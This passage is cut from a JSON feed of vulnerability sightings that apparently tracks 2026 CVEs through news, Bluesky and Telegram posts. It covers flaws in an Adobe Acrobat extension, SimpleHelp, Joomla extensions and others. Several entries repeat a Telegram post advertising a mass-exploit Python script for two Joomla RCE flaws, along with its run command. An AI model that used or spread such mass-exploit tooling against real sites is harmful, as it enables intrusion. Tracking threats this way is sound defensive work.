"9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48558", "type": "seen", "source": "Telegram/CfRvWZv5RrUF8689qv7kg16a3mW0159b7rTcNr-wYLT-sQY", "content": "", "creation_timestamp": "2026-08-28T13:00:05.359276Z"}, {"uuid": "afc6c576-3843-4d9b-9ffc-043e4ff9d65d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-4858", "type": "seen", "source": "Telegram/B_YZ8BSkX5tqDJQpjrZq--1jgIV2vuNjSoj1tdR21kZx6jI", "content": "", "creation_timestamp": "2026-07-22T17:00:06.200215Z"}, {"uuid": "9af57cfd-c8fa-4984-93d3-069e1a6c8115", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48206", "type": "seen", "source": "Telegram/B_YZ8BSkX5tqDJQpjrZq--1jgIV2vuNjSoj1tdR21kZx6jI", "content": "", "creation_timestamp": "2026-07-22T17:00:06.263721Z"}, {"uuid": "b23a768d-7b8e-4107-91f5-73df26d6f4b3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48294", "type": "seen", "source": "https://bsky.app/profile/alextech-ai.bsky.social/post/3mrasrefyqh2z", "content": "\u26a0\ufe0f Security Alert for Adobe Acrobat Chrome extension users.\n\nA critical vulnerability (CVE-2026-48294), dubbed HermeticReader, allowed malicious websites to access WhatsApp Web messages and contacts without any authentication.\n\nThe flaw resides in the 'Hermes' engine, used for PDF integration. At...", "creation_timestamp": "2026-07-22T17:08:03.929163Z"}, {"uuid": "14f328d7-5ec3-41c5-877c-55c8940afb13", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48294", "type": "seen", "source": "https://bsky.app/profile/newssecia.bsky.social/post/3mrazk4k5ja2p", "content": "\ud83e\udd16 CVE-2026-48294 (CVSS 7.4): The Adobe Acrobat Chrome extension (314M users) let malicious sites read private WhatsApp Web chats.\nhttps://www.bleepingcomputer.com/news/security/adobe-chrome-extension-flaw-let-sites-access-private-whatsapp-chats/", "creation_timestamp": "2026-07-22T19:09:16.851193Z"}, {"uuid": "7b25b496-fb7a-459a-9397-282d50a5a5fd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48294", "type": "seen", "source": "https://thehackernews.com/2026/07/adobe-acrobat-extension-flaw-let.html", "content": "Cybersecurity researchers have disclosed details of a now-patched vulnerability chain in the Adobe Acrobat Chrome extension that has over 314 million users, which, if exploited, could facilitate a silent hijack of a user's WhatsApp data.\n\nThe shortcoming has been codenamed HermeticReader by Guardio Labs. It's officially tracked as CVE-2026-48294 (CVSS score: 7.4), with the vulnerability", "creation_timestamp": "2026-07-22T22:00:39.125271Z"}, {"uuid": "d2ee6c25-8c95-4156-9d53-a04bd30b7d3b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48294", "type": "seen", "source": "https://bsky.app/profile/hendryadrian.bsky.social/post/3mrbhcadlgq2a", "content": "Adobe Acrobat Chrome extension flaw, CVE-2026-48294, could let malicious pages silently read WhatsApp Web data from victim sessions. Affects versions through 26.5.2.2. #AdobeAcrobat #WhatsAppWeb #CVE202648294", "creation_timestamp": "2026-07-22T23:15:25.074372Z"}, {"uuid": "27750b79-18a6-42bc-a749-74cffc391a67", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48294", "type": "seen", "source": "https://bsky.app/profile/securityrss.bsky.social/post/3mrbirh4nim2n", "content": "Cybersecurity researchers revealed a vulnerability in the Adobe Acrobat Chrome extension, affecting over 314 million users, tracked as CVE-2026-48294 (CVSS score: 7.4). Named HermeticReader, it allows attackers to hijack WhatsApp Web data via a crafted URL, requiring user interaction.", "creation_timestamp": "2026-07-22T23:41:49.141352Z"}, {"uuid": "de0a8853-a78c-4e69-a577-4e860f1db50a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-4858", "type": "published-proof-of-concept", "source": "Telegram/B_YZ8BSkX5tqDJQpjrZq--1jgIV2vuNjSoj1tdR21kZx6jI", "content": "", "creation_timestamp": "2026-07-23T00:00:07.865485Z"}, {"uuid": "d2ee71dc-e147-4d7c-aab6-7b50b8035ee3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48206", "type": "published-proof-of-concept", "source": "Telegram/B_YZ8BSkX5tqDJQpjrZq--1jgIV2vuNjSoj1tdR21kZx6jI", "content": "", "creation_timestamp": "2026-07-23T00:00:07.938145Z"}, {"uuid": "062e5780-a672-4cfa-8fce-e46afa913684", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48294", "type": "seen", "source": "https://bsky.app/profile/newssecia.bsky.social/post/3mrbv7qyv7z2j", "content": "\ud83e\udd16 CVE-2026-48294 (CVSS 7.4): HermeticReader \u2014 vulnerability chain in Adobe Acrobat Chrome extension (314M users) allows silent WhatsApp Web data hijack via UXSS. Patched, update extension.\nhttps://thehackernews.com/2026/07/adobe-acrobat-extension-flaw-let.html", "creation_timestamp": "2026-07-23T03:24:34.136524Z"}, {"uuid": "dc4e8b8c-956b-446f-bdfb-0dc8cd532647", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48751", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mtq4f5e4jj22", "content": "\ud83d\udd34 CVE-2026-48751 - Critical (9.9)\n\nIncus is a system container and virtual machine manager. Prior to version 7.2.0, instance snapsho...\n\nhttps://www.thehackerwire.com/vulnerability/CVE-2026-48751/\n\n#infosec #cybersecurity #CVE #vulnerability #security #patchstack", "creation_timestamp": "2026-08-23T06:00:31.097732Z"}, {"uuid": "78445e4d-85a0-448f-afb0-8a2d9ab101ae", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48294", "type": "seen", "source": "https://t.me/thehackernews/9583", "content": "\ud83d\uded1 One visit to a malicious webpage could have been enough to expose your #WhatsApp Web chats.\n\nCVE-2026-48294 in Adobe Acrobat\u2019s Chrome extension could read messages, contact names, chat previews, and profile data without malware, stolen credentials, or session cookies.\n\nThe extension has over 314 million users.\n\nSee how HermeticReader worked: https://thehackernews.com/2026/07/adobe-acrobat-extension-flaw-let.html", "creation_timestamp": "2026-07-23T05:00:04.071575Z"}, {"uuid": "4d794b93-aa61-4c35-b566-1eaa6fbb4c69", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48908", "type": "confirmed", "source": "https://github.com/projectdiscovery/nuclei-templates/tree/main/javascript/cves/2026/CVE-2026-48908.yaml", "content": "", "creation_timestamp": "2026-07-23T06:00:05.008747Z"}, {"uuid": "a88a7916-fb4d-4855-a29d-c0faf5e07bab", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48909", "type": "confirmed", "source": "https://github.com/projectdiscovery/nuclei-templates/tree/main/javascript/cves/2026/CVE-2026-48909.yaml", "content": "", "creation_timestamp": "2026-07-23T06:00:05.760097Z"}, {"uuid": "e9564b95-195c-4173-848f-f5ea5940521f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-48294", "type": "seen", "source": "https://bsky.app/profile/ahmandonk.bsky.social/post/3mrcf3rob6m2c", "content": "\ud83d\udcf0 Celah Ekstensi Adobe Acrobat Chrome Bisa Membaca Chat WhatsApp Web\n\n\ud83d\udc49 Baca artikel lengkap di sini: https://ahmandonk.com/2026/07/23/celah-adobe-acrobat-chrome-whatsapp-web/\n\n#adobe #browserSecurity #chromeExtension #cve-2026-48294 #cybersecurity #keamananSiber #whatsapp", "creation_timestamp": "2026-07-23T08:08:42.144600Z"}, {"uuid": "b431e109-05b2-4000-932e-bc8b45a9e7c7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48294", "type": "seen", "source": "Telegram/yJf6Oli4TxlmzFzT8KLQJ2JBUfvoTUxYKt3XgxOle49uog", "content": "", "creation_timestamp": "2026-07-23T10:00:02.758132Z"}, {"uuid": "e2e057d7-6510-4e79-87a2-b118cb75fbd5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48752", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mtq4fdxxtk27", "content": "\ud83d\udd34 CVE-2026-48752 - Critical (9.9)\n\nIncus is a system container and virtual machine manager. Prior to version 7.2.0, a specially craf...\n\nhttps://www.thehackerwire.com/vulnerability/CVE-2026-48752/\n\n#infosec #cybersecurity #CVE #vulnerability #security #patchstack", "creation_timestamp": "2026-08-23T06:00:38.283536Z"}, {"uuid": "3533c01a-e9c5-40fb-b611-334d03ca54d6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48753", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mtq4fkfeyy24", "content": "\ud83d\udd34 CVE-2026-48753 - Critical (9.9)\n\nIncus is a system container and virtual machine manager. Prior to version 7.1.0, the S3 protocol ...\n\nhttps://www.thehackerwire.com/vulnerability/CVE-2026-48753/\n\n#infosec #cybersecurity #CVE #vulnerability #security #patchstack", "creation_timestamp": "2026-08-23T06:00:44.349692Z"}, {"uuid": "e9b079ba-e8cf-4488-bb31-a87eed94ba8c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48294", "type": "seen", "source": "https://bsky.app/profile/suriq.io/post/3mrcrhxbib52i", "content": "Adobe's Acrobat Chrome extension (300M+ installs) had a flaw that let any website read a victim's WhatsApp Web chats. No malware, no stolen password.\n\nCVE-2026-48294. Fixed in 26.5.2.3.\n\nWhy your EDR would have missed it, and what to actually check.", "creation_timestamp": "2026-07-23T11:50:14.033439Z"}, {"uuid": "c1422695-edbf-4162-a7e8-07a5c405f92c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48294", "type": "seen", "source": "https://bsky.app/profile/hacker.at.thenote.app/post/3mrdt4zfccs2a", "content": "Adobe Acrobat Chrome extension bug enabled silent WhatsApp data theft\n\nAdobe patched CVE-2026-48294, a flaw in Adobe Acrobat Chrome extension that could let attackers steal WhatsApp Web chats by luring users to a webpage. Guardio Labs researcher Shaked Biner disclosed HermeticRead\u2026\n#hackernews #news", "creation_timestamp": "2026-07-23T21:52:33.922991Z"}, {"uuid": "0c385f70-4506-4b7c-99d0-7c1b2c78aa51", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48546", "type": "seen", "source": "Telegram/3IdoSx-1lpc2iHoFvsp2wYXyVxuQva2z_1gsDIpvcW15f6s", "content": "", "creation_timestamp": "2026-07-23T23:00:03.205270Z"}, {"uuid": "50260569-7a30-4fca-a8b3-24a421862e2b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48294", "type": "published-proof-of-concept", "source": "https://t.me/thehackernews/9583", "content": "\ud83d\uded1 One visit to a malicious webpage could have been enough to expose your #WhatsApp Web chats.\n\nCVE-2026-48294 in Adobe Acrobat\u2019s Chrome extension could read messages, contact names, chat previews, and profile data without malware, stolen credentials, or session cookies.\n\nThe extension has over 314 million users.\n\nSee how HermeticReader worked: https://thehackernews.com/2026/07/adobe-acrobat-extension-flaw-let.html", "creation_timestamp": "2026-07-24T00:00:11.356513Z"}, {"uuid": "2082b571-3a5c-422e-9119-0c4a18304f33", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48908", "type": "seen", "source": "https://t.me/horny_exploit/224", "content": "MASS Exploit Joomla [python3] \ud83e\udd8a\n\nFor:\nCVE-2026-48908 [SP Page Builder]\nCVE-2026-48907 [JCE]\n\nRun:\npython Rce-joomla.py listjoomla.txt", "creation_timestamp": "2026-07-24T03:00:03.288818Z"}, {"uuid": "7aacc984-d733-4df3-a3e9-9185370d5634", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48907", "type": "seen", "source": "https://t.me/horny_exploit/224", "content": "MASS Exploit Joomla [python3] \ud83e\udd8a\n\nFor:\nCVE-2026-48908 [SP Page Builder]\nCVE-2026-48907 [JCE]\n\nRun:\npython Rce-joomla.py listjoomla.txt", "creation_timestamp": "2026-07-24T03:00:03.340107Z"}, {"uuid": "9f4257cb-b596-433e-82d5-2278db33b16e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48907", "type": "seen", "source": "https://t.me/horny_exploit/227", "content": "CVE-2026-48907 \u2014 Joomla JCE Extension Unauthenticated RCE", "creation_timestamp": "2026-07-24T03:00:03.428392Z"}, {"uuid": "87f1b24c-a6b3-42ab-9264-7ab01cb39283", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-48558", "type": "seen", "source": "https://bsky.app/profile/threatclaw.bsky.social/post/3mrersdgfr72x", "content": "SimpleHelp CVE-2026-48558: When Your MSP Becomes the Way In\n\nAn unsigned OIDC token grants technician access to SimpleHelp RMM. CVSS 10, in the KEV, exploited to deliver stealers.\u2026\n\nhttps://threatclaw.io/en/blog/simplehelp-rmm-cve-2026-48558-msp-supply-chain\n\n#infosec #ThreatDetection #DFIR #CVE", "creation_timestamp": "2026-07-24T07:01:21.311730Z"}, {"uuid": "1373c7cc-26f5-414e-bf64-72211b26dcc1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48294", "type": "seen", "source": "https://bsky.app/profile/aidoo-noticias.bsky.social/post/3mrf477e3do2m", "content": "Vuln HermeticReader (CVE-2026-48294) en la extensi\u00f3n Adobe Acrobat de Chrome permit\u00eda a una web maliciosa inyectar c\u00f3digo en WhatsApp Web y ver chats/contacts abiertos. Parche: 26.5.2.3. #Ciberseguridad #WhatsApp", "creation_timestamp": "2026-07-24T10:07:31.045284Z"}, {"uuid": "a78d9eec-1f32-4bc0-b47e-fb48a245faae", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-48907", "type": "seen", "source": "https://www.acn.gov.it/portale/w/operational-summary-giugno-2026", "content": "", "creation_timestamp": "2026-07-24T12:45:48.588197Z"}, {"uuid": "f9704441-3bfd-4bc6-843b-2d973924bd95", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48021", "type": "seen", "source": "https://bsky.app/profile/stackflag.bsky.social/post/3mrg3jmp2rf2y", "content": "CVE-2026-48021 - epa4all\nA previous version of epa4all allowed an attacker to intercept sensitive data and modify it. This happened because the software didn't properly check the identity of the server it\u2026\n\nToo many irrelevant or confusing CVEs? Use stackflag.com\n\n#epa4all #medunited #CVE #infosec", "creation_timestamp": "2026-07-24T19:28:05.943964Z"}, {"uuid": "057ad97c-261b-4b93-918d-d773c37472f3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48021", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mrg5dtc5uh2a", "content": "\ud83d\udd34 CVE-2026-48021 - Critical (9.1)\n\nIn epa4all, prior to version 2026-05-20, an attacker who can intercept the TLS connection between...\n\nhttps://www.thehackerwire.com/vulnerability/CVE-2026-48021/\n\n#infosec #cybersecurity #CVE #vulnerability #security #patchstack", "creation_timestamp": "2026-07-24T20:00:39.481865Z"}, {"uuid": "85ca05be-030e-475d-90ec-a294bcfe9b2b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48907", "type": "seen", "source": "https://bsky.app/profile/vulny-app.bsky.social/post/3mrgfcgj5dg2q", "content": "A critical-severity fix just shipped for Widgetfactorylimited Jce. If your stack uses it, patch to the fixed release soon. Quietly closes the gap before anyone goes looking. CVE-2026-48907", "creation_timestamp": "2026-07-24T22:23:14.243234Z"}, {"uuid": "b9ab6ba7-c29f-4dbb-bdae-75e939b14135", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48586", "type": "seen", "source": "https://bsky.app/profile/infosec.skyfleet.blue/post/3mrghkchugh24", "content": "CVE-2026-48586: Apache Thrift: TZlibTransport Decompression Size Limit", "creation_timestamp": "2026-07-24T23:03:13.967838Z"}, {"uuid": "51ebf0db-57c3-45a2-a5ef-4d9cb8fd2504", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48144", "type": "seen", "source": "https://bsky.app/profile/infosec.skyfleet.blue/post/3mrgin3c4se24", "content": "CVE-2026-48144: Apache Thrift: c_glib TLS Client Missing Hostname Verification", "creation_timestamp": "2026-07-24T23:22:40.876278Z"}, {"uuid": "94972ccb-479e-4647-9453-f1e34c887fdf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48145", "type": "seen", "source": "https://bsky.app/profile/infosec.skyfleet.blue/post/3mrgiw2fdhl2r", "content": "CVE-2026-48145: Apache Thrift: C++ TSSLSocket matchName() RFC 6125 Wildcard Bypass", "creation_timestamp": "2026-07-24T23:27:41.992290Z"}, {"uuid": "f33fa0f8-ba1f-4a10-8023-f8cb3c0cb500", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48907", "type": "published-proof-of-concept", "source": "https://t.me/horny_exploit/227", "content": "CVE-2026-48907 \u2014 Joomla JCE Extension Unauthenticated RCE", "creation_timestamp": "2026-07-25T00:00:12.138811Z"}, {"uuid": "31dd0b19-4c13-4703-aafd-ea75b6c9ebce", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48908", "type": "published-proof-of-concept", "source": "https://t.me/horny_exploit/224", "content": "MASS Exploit Joomla [python3] \ud83e\udd8a\n\nFor:\nCVE-2026-48908 [SP Page Builder]\nCVE-2026-48907 [JCE]\n\nRun:\npython Rce-joomla.py listjoomla.txt", "creation_timestamp": "2026-07-25T00:00:12.216886Z"}, {"uuid": "935f1f94-262c-4355-be8e-938630edd27c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48907", "type": "published-proof-of-concept", "source": "https://t.me/horny_exploit/224", "content": "MASS Exploit Joomla [python3] \ud83e\udd8a\n\nFor:\nCVE-2026-48908 [SP Page Builder]\nCVE-2026-48907 [JCE]\n\nRun:\npython Rce-joomla.py listjoomla.txt", "creation_timestamp": "2026-07-25T00:00:12.257585Z"}, {"uuid": "8215c21b-7d74-44f6-b3a2-7e020609e850", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-48021", "type": "seen", "source": "https://bsky.app/profile/offseq.bsky.social/post/3mrgusiwoyk2o", "content": "med-united epa4all (<2026-05-20) has a CRITICAL TLS cert validation flaw \u2014 attackers can hijack sessions, exposing patient data. Upgrade to 2026-05-20+ now. https://radar.offseq.com/threat/cve-2026-48021-cwe-295-improper-certificate-validation-in-med-united-epa4all-26e8e441c1a877ee #OffSeq #Healt...", "creation_timestamp": "2026-07-25T03:00:28.227022Z"}, {"uuid": "8bca82f6-8c08-4a08-8711-5c00e55b5209", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-48021", "type": "seen", "source": "https://infosec.exchange/users/offseq/statuses/116978380017178575", "content": "CVE-2026-48021 in med-united epa4all (<2026-05-20): CRITICAL TLS cert validation flaw lets attackers decrypt/modify patient records & tokens. Upgrade to 2026-05-20+ ASAP. Details: https://radar.offseq.com/threat/cve-2026-48021-cwe-295-improper-certificate-validation-in-med-united-epa4all-26e8e441c1a877ee #OffSeq #HealthcareSecurity #Vuln #CVE202648021", "creation_timestamp": "2026-07-25T03:00:27.432595Z"}, {"uuid": "b371bcb0-38cc-4965-999d-351a8afc0332", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-48558", "type": "seen", "source": "https://gist.github.com/cyberupdates365/bf7660f4ca560d30158b5e5aa5986267", "content": "# 2026 Active CVE and Patch Index\n\nMaster Quick-Reference Index of official mitigation steps and investigative threat reports by **[CyberUpdates365.com](https://cyberupdates365.com/)**.\n\n* **[Adobe Coldfusion Cve 2026 48282 Exploited Guide (2026)](https://cyberupdates365.com/adobe-coldfusion-cve-2026-48282-exploited/)**\n* **[Adobe Vulnerability United States Cisa Emergency Alert October 2025 Guide (2026)](https://cyberupdates365.com/adobe-vulnerability-united-states-cisa-emergency-alert-october-2025/)**\n* **[Beyondtrust Cve 2026 40138 40139 Auth Bypass Guide (2026)](https://cyberupdates365.com/beyondtrust-cve-2026-40138-40139-auth-bypass/)**\n* **[Bind9 Resolver Cache Poisoning Vulnerability Guide (2026)](https://cyberupdates365.com/bind9-resolver-cache-poisoning-vulnerability/)**\n* **[Bind 9 Vulnerability Poc Exploit Released Guide (2026)](https://cyberupdates365.com/bind-9-vulnerability-poc-exploit-released/)**\n* **[Chinese Hackers Cisco Zero Day Cisa Emergency Directive 2025 Guide (2026)](https://cyberupdates365.com/chinese-hackers-cisco-zero-day-cisa-emergency-directive-2025/)**\n* **[Cisco Asa Zero Day Rce Vulnerability Actively Exploited Guide (2026)](https://cyberupdates365.com/cisco-asa-zero-day-rce-vulnerability-actively-exploited/)**\n* **[Cve 2025 22225 Vmware Esxi Sandbox Escape Guide (2026)](https://cyberupdates365.com/cve-2025-22225-vmware-esxi-sandbox-escape/)**\n* **[Cve 2026 20896 Gitea Docker Auth Bypass Fix Guide (2026)](https://cyberupdates365.com/cve-2026-20896-gitea-docker-auth-bypass-fix/)**\n* **[Cve 2026 35273 Oracle Peoplesoft Shinyhunters Attack Guide (2026)](https://cyberupdates365.com/cve-2026-35273-oracle-peoplesoft-shinyhunters-attack/)**\n* **[Cve Vulnerabilities 2026 Enterprise Security Hub Guide (2026)](https://cyberupdates365.com/cve-vulnerabilities-2026-enterprise-security-hub/)**\n* **[Google Chrome Zero Day Emergency Update 2026 Guide (2026)](https://cyberupdates365.com/google-chrome-zero-day-emergency-update-2026/)**\n* **[Legacyhive Windows Zero Day Profsvc Fix Guide (2026)](https://cyberupdates365.com/legacyhive-windows-zero-day-profsvc-fix/)**\n* **[Roundcube Cve 2024 42009 Chinese Hackers Exploit Guide (2026)](https://cyberupdates365.com/roundcube-cve-2024-42009-chinese-hackers-exploit/)**\n* **[Samsung Galaxy S25 Zero Day Vulnerability Guide (2026)](https://cyberupdates365.com/samsung-galaxy-s25-zero-day-vulnerability/)**\n* **[Sharepoint Cve 2026 45659 Rce Vulnerability Guide (2026)](https://cyberupdates365.com/sharepoint-cve-2026-45659-rce-vulnerability/)**\n* **[Simplehelp Cve 2026 48558 Rmm Vulnerability Guide (2026)](https://cyberupdates365.com/simplehelp-cve-2026-48558-rmm-vulnerability/)**\n* **[Splunk Enterprise Critical Vulnerability Cve 2026 20253 Guide (2026)](https://cyberupdates365.com/splunk-enterprise-critical-vulnerability-cve-2026-20253/)**\n* **[Windows 11 Recall Vulnerability Totalrecall Reloaded Guide (2026)](https://cyberupdates365.com/windows-11-recall-vulnerability-totalrecall-reloaded/)**\n* **[Wordpress Arbitrary Installation Vulnerabilities Exploited Guide (2026)](https://cyberupdates365.com/wordpress-arbitrary-installation-vulnerabilities-exploited/)**\n* **[Wp2shell Wordpress Vulnerability Fix Guide Guide (2026)](https://cyberupdates365.com/wp2shell-wordpress-vulnerability-fix-guide/)**\n* **[Wsus Rce Vulnerability United States Cve 2025 59287 Critical Security Alert Guide (2026)](https://cyberupdates365.com/wsus-rce-vulnerability-united-states-cve-2025-59287-critical-security-alert/)**\n", "creation_timestamp": "2026-07-25T08:57:56.393685Z"}, {"uuid": "9046c149-3e0f-4544-9395-5c08cea03d53", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-48282", "type": "seen", "source": "https://gist.github.com/cyberupdates365/bf7660f4ca560d30158b5e5aa5986267", "content": "# 2026 Active CVE and Patch Index\n\nMaster Quick-Reference Index of official mitigation steps and investigative threat reports by **[CyberUpdates365.com](https://cyberupdates365.com/)**.\n\n* **[Adobe Coldfusion Cve 2026 48282 Exploited Guide (2026)](https://cyberupdates365.com/adobe-coldfusion-cve-2026-48282-exploited/)**\n* **[Adobe Vulnerability United States Cisa Emergency Alert October 2025 Guide (2026)](https://cyberupdates365.com/adobe-vulnerability-united-states-cisa-emergency-alert-october-2025/)**\n* **[Beyondtrust Cve 2026 40138 40139 Auth Bypass Guide (2026)](https://cyberupdates365.com/beyondtrust-cve-2026-40138-40139-auth-bypass/)**\n* **[Bind9 Resolver Cache Poisoning Vulnerability Guide (2026)](https://cyberupdates365.com/bind9-resolver-cache-poisoning-vulnerability/)**\n* **[Bind 9 Vulnerability Poc Exploit Released Guide (2026)](https://cyberupdates365.com/bind-9-vulnerability-poc-exploit-released/)**\n* **[Chinese Hackers Cisco Zero Day Cisa Emergency Directive 2025 Guide (2026)](https://cyberupdates365.com/chinese-hackers-cisco-zero-day-cisa-emergency-directive-2025/)**\n* **[Cisco Asa Zero Day Rce Vulnerability Actively Exploited Guide (2026)](https://cyberupdates365.com/cisco-asa-zero-day-rce-vulnerability-actively-exploited/)**\n* **[Cve 2025 22225 Vmware Esxi Sandbox Escape Guide (2026)](https://cyberupdates365.com/cve-2025-22225-vmware-esxi-sandbox-escape/)**\n* **[Cve 2026 20896 Gitea Docker Auth Bypass Fix Guide (2026)](https://cyberupdates365.com/cve-2026-20896-gitea-docker-auth-bypass-fix/)**\n* **[Cve 2026 35273 Oracle Peoplesoft Shinyhunters Attack Guide (2026)](https://cyberupdates365.com/cve-2026-35273-oracle-peoplesoft-shinyhunters-attack/)**\n* **[Cve Vulnerabilities 2026 Enterprise Security Hub Guide (2026)](https://cyberupdates365.com/cve-vulnerabilities-2026-enterprise-security-hub/)**\n* **[Google Chrome Zero Day Emergency Update 2026 Guide (2026)](https://cyberupdates365.com/google-chrome-zero-day-emergency-update-2026/)**\n* **[Legacyhive Windows Zero Day Profsvc Fix Guide (2026)](https://cyberupdates365.com/legacyhive-windows-zero-day-profsvc-fix/)**\n* **[Roundcube Cve 2024 42009 Chinese Hackers Exploit Guide (2026)](https://cyberupdates365.com/roundcube-cve-2024-42009-chinese-hackers-exploit/)**\n* **[Samsung Galaxy S25 Zero Day Vulnerability Guide 